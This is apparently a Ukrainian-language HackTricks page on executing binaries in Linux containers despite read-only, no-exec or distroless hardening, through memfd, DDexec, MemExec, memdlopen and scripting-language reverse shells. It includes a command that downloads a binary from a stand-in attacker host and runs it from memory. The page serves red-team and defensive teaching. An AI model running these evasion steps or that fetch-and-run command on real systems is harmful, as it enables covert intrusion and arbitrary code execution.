Обхід FS захистів: тільки для читання / без виконання / Distroless
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Відео
У наступних відео ви можете знайти техніки, згадані на цій сторінці, пояснені більш детально:
- DEF CON 31 - Дослідження маніпуляцій з пам'яттю Linux для прихованості та ухилення
- Приховані вторгнення з DDexec-ng та in-memory dlopen() - HackTricks Track 2023
сценарій тільки для читання / без виконання
Все частіше можна зустріти машини Linux, змонтовані з захистом файлової системи тільки для читання (ro), особливо в контейнерах. Це пов'язано з тим, що запустити контейнер з файловою системою ro так само просто, як встановити readOnlyRootFilesystem: true
у securitycontext
:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
Однак, навіть якщо файлова система змонтована як ro, /dev/shm
все ще буде записуваним, тому це неправда, що ми не можемо нічого записати на диск. Проте, ця папка буде змонтована з захистом без виконання, тому якщо ви завантажите бінарний файл сюди, ви не зможете його виконати.
warning
З точки зору червоної команди, це ускладнює завантаження та виконання бінарних файлів, які вже не знаходяться в системі (як бекдори або енумератори, такі як kubectl
).
Найпростіший обхід: Скрипти
Зверніть увагу, що я згадував бінарні файли, ви можете виконувати будь-який скрипт, якщо інтерпретатор знаходиться всередині машини, наприклад, shell-скрипт, якщо sh
присутній, або python скрипт, якщо python
встановлений.
Однак цього недостатньо, щоб виконати ваш бінарний бекдор або інші бінарні інструменти, які вам можуть знадобитися.
Обходи пам'яті
Якщо ви хочете виконати бінарний файл, але файлова система цього не дозволяє, найкращий спосіб зробити це - виконати його з пам'яті, оскільки захисти не застосовуються там.
Обхід FD + exec syscall
Якщо у вас є потужні скриптові движки всередині машини, такі як Python, Perl або Ruby, ви можете завантажити бінарний файл для виконання з пам'яті, зберегти його в дескрипторі пам'яті (create_memfd
syscall), який не буде захищений цими захистами, а потім викликати exec
syscall, вказуючи fd як файл для виконання.
Для цього ви можете легко використовувати проект fileless-elf-exec. Ви можете передати йому бінарний файл, і він згенерує скрипт у вказаній мові з бінарним файлом, стиснутим і b64 закодованим з інструкціями для декодування та розпакування його в fd, створеному за допомогою виклику create_memfd
syscall, і викликом exec syscall для його виконання.
warning
Це не працює в інших скриптових мовах, таких як PHP або Node, оскільки вони не мають жодного за замовчуванням способу викликати сирі системні виклики з скрипту, тому неможливо викликати create_memfd
, щоб створити дескриптор пам'яті для зберігання бінарного файлу.
Більше того, створення звичайного дескриптора з файлом у /dev/shm
не спрацює, оскільки вам не дозволять його виконати, оскільки захист без виконання буде застосований.
DDexec / EverythingExec
DDexec / EverythingExec - це техніка, яка дозволяє вам модифікувати пам'ять вашого власного процесу шляхом перезапису його /proc/self/mem
.
Отже, контролюючи асемблерний код, який виконується процесом, ви можете написати shellcode і "мутувати" процес, щоб виконати будь-який довільний код.
tip
DDexec / EverythingExec дозволить вам завантажити та виконати ваш власний shellcode або будь-який бінарний файл з пам'яті.
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
Для отримання додаткової інформації про цю техніку перевірте Github або:
MemExec
Memexec є природним наступним кроком DDexec. Це DDexec shellcode demonised, тому що щоразу, коли ви хочете запустити інший бінарний файл, вам не потрібно перезапускати DDexec, ви можете просто запустити shellcode memexec за допомогою техніки DDexec, а потім спілкуватися з цим демоном, щоб передати нові бінарні файли для завантаження та виконання.
Ви можете знайти приклад того, як використовувати memexec для виконання бінарних файлів з PHP реверс-шелу за адресою https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
З подібною метою до DDexec, техніка memdlopen дозволяє легше завантажувати бінарні файли в пам'ять для подальшого виконання. Це може навіть дозволити завантажувати бінарні файли з залежностями.
Distroless Bypass
Що таке distroless
Контейнери distroless містять лише найнеобхідні компоненти для запуску конкретного застосунку або служби, такі як бібліотеки та залежності виконання, але виключають більші компоненти, такі як менеджер пакетів, оболонка або системні утиліти.
Мета контейнерів distroless полягає в тому, щоб зменшити поверхню атаки контейнерів, усунувши непотрібні компоненти та мінімізувати кількість вразливостей, які можуть бути використані.
Реверс-шел
У контейнері distroless ви, можливо, навіть не знайдете sh
або bash
для отримання звичайної оболонки. Ви також не знайдете бінарні файли, такі як ls
, whoami
, id
... все, що ви зазвичай запускаєте в системі.
warning
Тому ви не зможете отримати реверс-шел або перерахувати систему, як зазвичай.
Однак, якщо скомпрометований контейнер, наприклад, запускає flask web, тоді python встановлений, і тому ви можете отримати Python реверс-шел. Якщо він запускає node, ви можете отримати Node rev shell, і те ж саме з більшістю будь-якої скриптової мови.
tip
Використовуючи скриптову мову, ви могли б перерахувати систему, використовуючи можливості мови.
Якщо немає захистів read-only/no-exec
, ви могли б зловживати своїм реверс-шелом, щоб записувати у файлову систему свої бінарні файли та виконувати їх.
tip
Однак у таких контейнерах ці захисти зазвичай існують, але ви могли б використовувати попередні техніки виконання в пам'яті, щоб обійти їх.
Ви можете знайти приклади того, як експлуатувати деякі вразливості RCE, щоб отримати реверс-шели скриптових мов та виконувати бінарні файли з пам'яті за адресою https://github.com/carlospolop/DistrolessRCE.
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.